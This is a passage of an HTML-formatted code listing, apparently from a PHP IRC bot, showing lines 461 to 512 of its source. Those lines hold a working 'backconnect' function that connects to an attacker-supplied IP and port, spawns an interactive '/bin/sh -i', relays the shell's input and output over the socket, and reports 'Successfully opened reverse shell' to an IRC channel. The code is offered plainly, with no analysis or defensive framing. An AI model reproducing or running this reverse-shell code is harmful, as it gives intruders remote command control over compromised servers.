ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum461&quot;&gt; 461:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum462&quot;&gt; 462:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum463&quot;&gt; 463:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum464&quot;&gt; 464:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; backconnect($nick, $ip, $port) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum465&quot;&gt; 465:&lt;/span&gt;         $shell = &lt;span style=&quot;color: #006080&quot;&gt;&#39;/bin/sh -i&#39;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum466&quot;&gt; 466:&lt;/span&gt;         &lt;span style=&quot;color: #008000&quot;&gt;#$shell = &#39;cmd&#39;;&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum467&quot;&gt; 467:&lt;/span&gt;         $chunk_size = 1400;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum468&quot;&gt; 468:&lt;/span&gt;         $write_a = &lt;span style=&quot;color: #0000ff&quot;&gt;null&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum469&quot;&gt; 469:&lt;/span&gt;         $error_a = &lt;span style=&quot;color: #0000ff&quot;&gt;null&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum470&quot;&gt; 470:&lt;/span&gt;         chdir(&lt;span style=&quot;color: #006080&quot;&gt;&quot;/&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum471&quot;&gt; 471:&lt;/span&gt;         umask(0);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum472&quot;&gt; 472:&lt;/span&gt;         $sock = fsockopen($ip, $port, $errno, $errstr, 30);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum473&quot;&gt; 473:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!$sock)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum474&quot;&gt; 474:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum475&quot;&gt; 475:&lt;/span&gt;                 $this-&amp;gt;notice($nick, &lt;span style=&quot;color: #006080&quot;&gt;&quot;Unable to connect!&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum476&quot;&gt; 476:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum477&quot;&gt; 477:&lt;/span&gt;         $descriptorspec = &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;(&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum478&quot;&gt; 478:&lt;/span&gt;                         0 =&amp;gt; &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;(&lt;span style=&quot;color: #006080&quot;&gt;&quot;pipe&quot;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&quot;r&quot;&lt;/span&gt;),&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum479&quot;&gt; 479:&lt;/span&gt;                         1 =&amp;gt; &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;(&lt;span style=&quot;color: #006080&quot;&gt;&quot;pipe&quot;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&quot;w&quot;&lt;/span&gt;),&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum480&quot;&gt; 480:&lt;/span&gt;                         2 =&amp;gt; &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;(&lt;span style=&quot;color: #006080&quot;&gt;&quot;pipe&quot;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&quot;w&quot;&lt;/span&gt;)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum481&quot;&gt; 481:&lt;/span&gt;                         );&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum482&quot;&gt; 482:&lt;/span&gt;         $process = proc_open($shell, $descriptorspec, $pipes);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum483&quot;&gt; 483:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (!is_resource($process)) {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum484&quot;&gt; 484:&lt;/span&gt;             $this-&amp;gt;notice($nick, &lt;span style=&quot;color: #006080&quot;&gt;&quot;ERROR: Can&#39;t spawn shell&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum485&quot;&gt; 485:&lt;/span&gt;         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum486&quot;&gt; 486:&lt;/span&gt;         stream_set_blocking($pipes[0], 0);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum487&quot;&gt; 487:&lt;/span&gt;         stream_set_blocking($pipes[1], 0);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum488&quot;&gt; 488:&lt;/span&gt;         stream_set_blocking($pipes[2], 0);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum489&quot;&gt; 489:&lt;/span&gt;         stream_set_blocking($sock, 0);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum490&quot;&gt; 490:&lt;/span&gt;         $this-&amp;gt;mes($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;], &lt;span style=&quot;color: #006080&quot;&gt;&quot;Successfully opened reverse shell&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum491&quot;&gt; 491:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;while&lt;/span&gt;(!feof($sock))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum492&quot;&gt; 492:&lt;/span&gt;             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum493&quot;&gt; 493:&lt;/span&gt;                 $read_a = &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;($sock, $pipes[1], $pipes[2]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum494&quot;&gt; 494:&lt;/span&gt;                 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, &lt;span style=&quot;color: #0000ff&quot;&gt;null&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum495&quot;&gt; 495:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(in_array($sock, $read_a))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum496&quot;&gt; 496:&lt;/span&gt;                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum497&quot;&gt; 497:&lt;/span&gt;                         $input = fread($sock, $chunk_size);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum498&quot;&gt; 498:&lt;/span&gt;                         fwrite($pipes[0], $input);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum499&quot;&gt; 499:&lt;/span&gt;                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum500&quot;&gt; 500:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(in_array($pipes[1], $read_a))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum501&quot;&gt; 501:&lt;/span&gt;                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum502&quot;&gt; 502:&lt;/span&gt;                         $input = fread($pipes[1], $chunk_size);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum503&quot;&gt; 503:&lt;/span&gt;                         fwrite($sock, $input);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum504&quot;&gt; 504:&lt;/span&gt;                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum505&quot;&gt; 505:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(in_array($pipes[2], $read_a))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum506&quot;&gt; 506:&lt;/span&gt;                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum507&quot;&gt; 507:&lt;/span&gt;                         $input = fread($pipes[2], $chunk_size);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum508&quot;&gt; 508:&lt;/span&gt;                         fwrite($sock, $input);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum509&quot;&gt; 509:&lt;/span&gt;                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum510&quot;&gt; 510:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum511&quot;&gt; 511:&lt;/span&gt;         fclose($sock);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum512&quot;&gt; 512:&lt;/span&gt;         fclose($pipes[0]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 